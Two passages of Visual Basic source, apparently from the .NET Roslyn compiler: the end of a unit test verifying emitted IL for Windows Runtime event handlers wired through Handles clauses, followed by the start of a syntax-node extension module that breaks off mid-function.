<![CDATA[ { // Code size 124 (0x7c) .maxstack 4 IL_0000: ldnull IL_0001: ldftn "Sub Base.add_SharedEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0007: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_000c: ldnull IL_000d: ldftn "Sub Base.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0013: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0018: ldnull IL_0019: ldftn "Sub Derived.SharedHandler()" IL_001f: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_0024: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0029: ldnull IL_002a: ldftn "Sub Derived.add_SharedEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0030: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0035: ldnull IL_0036: ldftn "Sub Derived.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_003c: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0041: ldnull IL_0042: ldftn "Sub Derived.SharedHandler()" IL_0048: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_004d: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0052: ldnull IL_0053: ldftn "Sub Derived.add_SharedEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0059: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_005e: ldnull IL_005f: ldftn "Sub Derived.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0065: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_006a: ldnull IL_006b: ldftn "Sub Derived.SharedHandler()" IL_0071: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_0076: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_007b: ret } ]]>) ' Wire up Me.InstanceHandler to Me.B.InstanceEvent and Base.SharedEvent. ' Wire up Derived.SharedHandler to Me.B.InstanceEvent and Base.SharedEvent. verifier.VerifyIL("Derived.put_B", <![CDATA[ { // Code size 282 (0x11a) .maxstack 3 .locals init (EventDelegate V_0, EventDelegate V_1, EventDelegate V_2, EventDelegate V_3, Base V_4) IL_0000: ldarg.0 IL_0001: ldftn "Sub Derived.InstanceHandler()" IL_0007: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_000c: stloc.0 IL_000d: ldarg.0 IL_000e: ldftn "Sub Derived.InstanceHandler()" IL_0014: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_0019: stloc.1 IL_001a: ldnull IL_001b: ldftn "Sub Derived.SharedHandler()" IL_0021: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_0026: stloc.2 IL_0027: ldnull IL_0028: ldftn "Sub Derived.SharedHandler()" IL_002e: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_0033: stloc.3 IL_0034: ldarg.0 IL_0035: ldfld "Derived._B As Base" IL_003a: stloc.s V_4 IL_003c: ldloc.s V_4 IL_003e: brfalse.s IL_008a IL_0040: ldloc.s V_4 IL_0042: ldftn "Sub Base.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0048: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_004d: ldloc.0 IL_004e: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.RemoveEventHandler(Of EventDelegate)(System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0053: ldnull IL_0054: ldftn "Sub Base.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_005a: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_005f: ldloc.1 IL_0060: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.RemoveEventHandler(Of EventDelegate)(System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0065: ldloc.s V_4 IL_0067: ldftn "Sub Base.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_006d: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0072: ldloc.2 IL_0073: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.RemoveEventHandler(Of EventDelegate)(System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0078: ldnull IL_0079: ldftn "Sub Base.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_007f: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0084: ldloc.3 IL_0085: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.RemoveEventHandler(Of EventDelegate)(System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_008a: ldarg.0 IL_008b: ldarg.1 IL_008c: stfld "Derived._B As Base" IL_0091: ldarg.0 IL_0092: ldfld "Derived._B As Base" IL_0097: stloc.s V_4 IL_0099: ldloc.s V_4 IL_009b: brfalse.s IL_0119 IL_009d: ldloc.s V_4 IL_009f: ldftn "Sub Base.add_InstanceEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_00a5: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_00aa: ldloc.s V_4 IL_00ac: ldftn "Sub Base.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_00b2: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_00b7: ldloc.0 IL_00b8: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_00bd: ldnull IL_00be: ldftn "Sub Base.add_SharedEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_00c4: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_00c9: ldnull IL_00ca: ldftn "Sub Base.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_00d0: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_00d5: ldloc.1 IL_00d6: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_00db: ldloc.s V_4 IL_00dd: ldftn "Sub Base.add_InstanceEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_00e3: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_00e8: ldloc.s V_4 IL_00ea: ldftn "Sub Base.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_00f0: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_00f5: ldloc.2 IL_00f6: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_00fb: ldnull IL_00fc: ldftn "Sub Base.add_SharedEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0102: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0107: ldnull IL_0108: ldftn "Sub Base.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_010e: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0113: ldloc.3 IL_0114: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0119: ret } ]]>) ' Wire up Derived.SharedHandler to Derived.BX.InstanceEvent and Base.SharedEvent. verifier.VerifyIL("Derived.put_BX", <![CDATA[ { // Code size 147 (0x93) .maxstack 3 .locals init (EventDelegate V_0, EventDelegate V_1, Base V_2) IL_0000: ldnull IL_0001: ldftn "Sub Derived.SharedHandler()" IL_0007: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_000c: stloc.0 IL_000d: ldnull IL_000e: ldftn "Sub Derived.SharedHandler()" IL_0014: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_0019: stloc.1 IL_001a: ldsfld "Derived._BX As Base" IL_001f: stloc.2 IL_0020: ldloc.2 IL_0021: brfalse.s IL_0047 IL_0023: ldloc.2 IL_0024: ldftn "Sub Base.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_002a: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_002f: ldloc.0 IL_0030: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.RemoveEventHandler(Of EventDelegate)(System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0035: ldnull IL_0036: ldftn "Sub Base.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_003c: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0041: ldloc.1 IL_0042: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.RemoveEventHandler(Of EventDelegate)(System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0047: ldarg.0 IL_0048: stsfld "Derived._BX As Base" IL_004d: ldsfld "Derived._BX As Base" IL_0052: stloc.2 IL_0053: ldloc.2 IL_0054: brfalse.s IL_0092 IL_0056: ldloc.2 IL_0057: ldftn "Sub Base.add_InstanceEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_005d: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0062: ldloc.2 IL_0063: ldftn "Sub Base.remove_InstanceEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0069: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_006e: ldloc.0 IL_006f: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0074: ldnull IL_0075: ldftn "Sub Base.add_SharedEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_007b: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0080: ldnull IL_0081: ldftn "Sub Base.remove_SharedEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0087: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_008c: ldloc.1 IL_008d: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0092: ret } ]]>) End Sub ' Field-like and custom events are not treated differently. <Fact(), WorkItem(1003209)> Public Sub HandlesClauses_EventKinds() Dim source = <compilation> <file name="a.vb"> Imports System.Runtime.InteropServices.WindowsRuntime Delegate Sub EventDelegate() Class Test WithEvents T As Test Public Event FieldLikeEvent As EventDelegate Public Custom Event CustomEvent As EventDelegate AddHandler(value As EventDelegate) Return Nothing End AddHandler RemoveHandler(value As EventRegistrationToken) End RemoveHandler RaiseEvent() End RaiseEvent End Event Sub Handler() Handles _ Me.FieldLikeEvent, Me.CustomEvent, T.FieldLikeEvent, T.CustomEvent End Sub End Class </file> </compilation> Dim comp = CreateCompilationWithReferences(source, WinRtRefs, options:=TestOptions.ReleaseWinMD) Dim verifier = CompileAndVerify(comp) verifier.VerifyIL("Test..ctor", <![CDATA[ { // Code size 89 (0x59) .maxstack 4 IL_0000: ldarg.0 IL_0001: call "Sub Object..ctor()" IL_0006: ldarg.0 IL_0007: ldftn "Sub Test.add_FieldLikeEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_000d: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0012: ldarg.0 IL_0013: ldftn "Sub Test.remove_FieldLikeEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0019: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_001e: ldarg.0 IL_001f: ldftn "Sub Test.Handler()" IL_0025: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_002a: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_002f: ldarg.0 IL_0030: ldftn "Sub Test.add_CustomEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0036: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_003b: ldarg.0 IL_003c: ldftn "Sub Test.remove_CustomEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0042: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0047: ldarg.0 IL_0048: ldftn "Sub Test.Handler()" IL_004e: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_0053: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0058: ret } ]]>) verifier.VerifyIL("Test.put_T", <![CDATA[ { // Code size 150 (0x96) .maxstack 3 .locals init (EventDelegate V_0, EventDelegate V_1, Test V_2) IL_0000: ldarg.0 IL_0001: ldftn "Sub Test.Handler()" IL_0007: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_000c: stloc.0 IL_000d: ldarg.0 IL_000e: ldftn "Sub Test.Handler()" IL_0014: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_0019: stloc.1 IL_001a: ldarg.0 IL_001b: ldfld "Test._T As Test" IL_0020: stloc.2 IL_0021: ldloc.2 IL_0022: brfalse.s IL_0048 IL_0024: ldloc.2 IL_0025: ldftn "Sub Test.remove_FieldLikeEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_002b: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0030: ldloc.0 IL_0031: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.RemoveEventHandler(Of EventDelegate)(System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0036: ldloc.2 IL_0037: ldftn "Sub Test.remove_CustomEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_003d: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0042: ldloc.1 IL_0043: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.RemoveEventHandler(Of EventDelegate)(System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0048: ldarg.0 IL_0049: ldarg.1 IL_004a: stfld "Test._T As Test" IL_004f: ldarg.0 IL_0050: ldfld "Test._T As Test" IL_0055: stloc.2 IL_0056: ldloc.2 IL_0057: brfalse.s IL_0095 IL_0059: ldloc.2 IL_005a: ldftn "Sub Test.add_FieldLikeEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0060: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0065: ldloc.2 IL_0066: ldftn "Sub Test.remove_FieldLikeEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_006c: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0071: ldloc.0 IL_0072: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0077: ldloc.2 IL_0078: ldftn "Sub Test.add_CustomEvent(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_007e: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0083: ldloc.2 IL_0084: ldftn "Sub Test.remove_CustomEvent(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_008a: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_008f: ldloc.1 IL_0090: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0095: ret } ]]>) End Sub ' The handler is allowed to have zero arguments (event if using AddHandler would be illegal). <Fact> Public Sub HandlesClauses_ZeroArgumentHandler() Dim source = <compilation> <file name="a.vb"> Imports System.Runtime.InteropServices.WindowsRuntime Delegate Sub EventDelegate(x as Integer) Class Test WithEvents T As Test Public Event E As EventDelegate Sub Handler() Handles Me.E, T.E End Sub End Class </file> </compilation> Dim comp = CreateCompilationWithReferences(source, WinRtRefs, options:=TestOptions.ReleaseWinMD) Dim verifier = CompileAndVerify(comp) ' Note: actually attaching a lambda. verifier.VerifyIL("Test..ctor", <![CDATA[ { // Code size 48 (0x30) .maxstack 4 IL_0000: ldarg.0 IL_0001: call "Sub Object..ctor()" IL_0006: ldarg.0 IL_0007: ldftn "Sub Test.add_E(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_000d: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0012: ldarg.0 IL_0013: ldftn "Sub Test.remove_E(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_0019: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_001e: ldarg.0 IL_001f: ldftn "Sub Test._Lambda$__1(Integer)" IL_0025: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_002a: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_002f: ret } ]]>) ' Note: actually attaching a lambda. verifier.VerifyIL("Test.put_T", <![CDATA[ { // Code size 89 (0x59) .maxstack 3 .locals init (EventDelegate V_0, Test V_1) IL_0000: ldarg.0 IL_0001: ldftn "Sub Test._Lambda$__2(Integer)" IL_0007: newobj "Sub EventDelegate..ctor(Object, System.IntPtr)" IL_000c: stloc.0 IL_000d: ldarg.0 IL_000e: ldfld "Test._T As Test" IL_0013: stloc.1 IL_0014: ldloc.1 IL_0015: brfalse.s IL_0029 IL_0017: ldloc.1 IL_0018: ldftn "Sub Test.remove_E(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_001e: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0023: ldloc.0 IL_0024: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.RemoveEventHandler(Of EventDelegate)(System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0029: ldarg.0 IL_002a: ldarg.1 IL_002b: stfld "Test._T As Test" IL_0030: ldarg.0 IL_0031: ldfld "Test._T As Test" IL_0036: stloc.1 IL_0037: ldloc.1 IL_0038: brfalse.s IL_0058 IL_003a: ldloc.1 IL_003b: ldftn "Sub Test.add_E(EventDelegate) As System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken" IL_0041: newobj "Sub System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0046: ldloc.1 IL_0047: ldftn "Sub Test.remove_E(System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)" IL_004d: newobj "Sub System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken)..ctor(Object, System.IntPtr)" IL_0052: ldloc.0 IL_0053: call "Sub System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeMarshal.AddEventHandler(Of EventDelegate)(System.Func(Of EventDelegate, System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), System.Action(Of System.Runtime.InteropServices.WindowsRuntime.EventRegistrationToken), EventDelegate)" IL_0058: ret } ]]>) End Sub End Class End Namespace
' Licensed to the .NET Foundation under one or more agreements. ' The .NET Foundation licenses this file to you under the MIT license. ' See the LICENSE file in the project root for more information. Imports System.Collections.Immutable Imports System.Runtime.CompilerServices Imports System.Threading Imports Microsoft.CodeAnalysis Imports Microsoft.CodeAnalysis.Text Imports Microsoft.CodeAnalysis.VisualBasic.LanguageServices Imports Microsoft.CodeAnalysis.VisualBasic.Syntax Namespace Microsoft.CodeAnalysis.VisualBasic.Extensions Friend Module SyntaxNodeExtensions <Extension()> Public Function IsParentKind(node As SyntaxNode, kind As SyntaxKind) As Boolean Return node IsNot Nothing AndAlso node.Parent.IsKind(kind) End Function <Extension()> Public Function IsParentKind(node As SyntaxNode, kind1 As SyntaxKind, kind2 As SyntaxKind) As Boolean Return node IsNot Nothing AndAlso IsKind(node.Parent, kind1, kind2) End Function <Extension()> Public Function IsParentKind(node As SyntaxNode, kind1 As SyntaxKind, kind2 As SyntaxKind, kind3 As SyntaxKind) As Boolean Return node IsNot Nothing AndAlso IsKind(node.Parent, kind1, kind2, kind3) End Function <Extension()> Public Function IsKind(node As SyntaxNode, kind1 As SyntaxKind, kind2 As SyntaxKind) As Boolean If node Is Nothing Then Return False End If Return node.Kind = kind1 OrElse node.Kind = kind2 End Function <Extension()> Public Function IsKind(node As SyntaxNode, kind1 As SyntaxKind, kind2 As SyntaxKind, kind3 As SyntaxKind) As Boolean If node Is Nothing Then Return False End If Return node.Kind = kind1 OrElse node.Kind = kind2 OrElse node.Kind = kind3 End Function <Extension()> Public Function IsKind(node As SyntaxNode, kind1 As SyntaxKind, kind2 As SyntaxKind, kind3 As SyntaxKind, kind4 As SyntaxKind) As Boolean If node Is Nothing Then Return False End If Return node.Kind = kind1 OrElse node.Kind = kind2 OrElse node.Kind = kind3 OrElse node.Kind = kind4 End Function <Extension()> Public Function IsKind(node As SyntaxNode, ParamArray kinds As SyntaxKind()) As Boolean If node Is Nothing Then Return False End If Return kinds.Contains(node.Kind()) End Function <Extension()> Public Function IsInConstantContext(expression As SyntaxNode) As Boolean If expression.GetAncestor(Of ParameterSyntax)() IsNot Nothing Then Return True End If ' TODO(cyrusn): Add more cases Return False End Function <Extension()> Public Function IsInStaticContext(node As SyntaxNode) As Boolean Dim containingType = node.GetAncestorOrThis(Of TypeBlockSyntax)() If containingType.IsKind(SyntaxKind.ModuleBlock) Then Return True End If Return node.GetAncestorsOrThis(Of StatementSyntax)(). SelectMany(Function(s) s.GetModifiers()). Any(Function(t) t.Kind = SyntaxKind.SharedKeyword) End Function <Extension()> Public Function IsStatementContainerNode(node As SyntaxNode) As Boolean If node.IsExecutableBlock() Then Return True End If Dim singleLineLambdaExpression = TryCast(node, SingleLineLambdaExpressionSyntax) If singleLineLambdaExpression IsNot Nothing AndAlso TypeOf singleLineLambdaExpression.Body Is ExecutableStatementSyntax Then Return True End If Return False End Function <Extension()> Public Function GetStatements(node As SyntaxNode) As SyntaxList(Of StatementSyntax) Contract.ThrowIfNull(node) Contract.ThrowIfFalse(node.IsStatementContainerNode()) Dim methodBlock = TryCast(node, MethodBlockBaseSyntax) If methodBlock IsNot Nothing Then Return methodBlock.Statements End If Dim whileBlock = TryCast(node, WhileBlockSyntax) If whileBlock IsNot Nothing Then Return whileBlock.Statements End If Dim usingBlock = TryCast(node, UsingBlockSyntax) If usingBlock IsNot Nothing Then Return usingBlock.Statements End If Dim syncLockBlock = TryCast(node, SyncLockBlockSyntax) If syncLockBlock IsNot Nothing Then Return syncLockBlock.Statements End If Dim withBlock = TryCast(node, WithBlockSyntax) If withBlock IsNot Nothing Then Return withBlock.Statements End If Dim singleLineIfStatement = TryCast(node, SingleLineIfStatementSyntax) If singleLineIfStatement IsNot Nothing Then Return singleLineIfStatement.Statements End If Dim singleLineElseClause = TryCast(node, SingleLineElseClauseSyntax) If singleLineElseClause IsNot Nothing Then Return singleLineElseClause.Statements End If Dim ifBlock = TryCast(node, MultiLineIfBlockSyntax) If ifBlock IsNot Nothing Then Return ifBlock.Statements End If Dim elseIfBlock = TryCast(node, ElseIfBlockSyntax) If elseIfBlock IsNot Nothing Then Return elseIfBlock.Statements End If Dim elseBlock = TryCast(node, ElseBlockSyntax) If elseBlock IsNot Nothing Then Return elseBlock.Statements End If Dim tryBlock = TryCast(node, TryBlockSyntax) If tryBlock IsNot Nothing Then Return tryBlock.Statements End If Dim catchBlock = TryCast(node, CatchBlockSyntax) If catchBlock IsNot Nothing Then Return catchBlock.Statements End If Dim finallyBlock = 